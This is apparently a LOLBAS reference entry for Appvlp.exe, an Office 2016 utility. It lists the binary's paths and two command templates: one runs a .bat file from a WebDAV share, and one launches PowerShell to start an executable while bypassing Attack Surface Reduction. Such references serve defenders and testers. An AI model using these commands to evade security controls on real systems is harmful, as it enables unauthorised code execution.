🪟 LOLBAS / Appvlp.exe

Appvlp.exe

Application Virtualization Utility Included with Microsoft Office 2016

Paths

  • C:\Program Files\Microsoft Office\root\client\appvlp.exe
  • C:\Program Files (x86)\Microsoft Office\root\client\appvlp.exe

Commands

Execute

Executes .bat file through AppVLP.exe

Use case: Execution of BAT file hosted on Webdav server.

Privileges: User

AppVLP.exe {PATH_SMB:.bat}

Execute

Executes powershell.exe as a subprocess of AppVLP.exe and run the respective PS command.

Use case: Local execution of process bypassing Attack Surface Reduction (ASR).

Privileges: User

AppVLP.exe powershell.exe -c "$e=New-Object -ComObject shell.application;$e.ShellExecute('{PATH:.exe}','', '', 'open', 1)"

Detection

Resources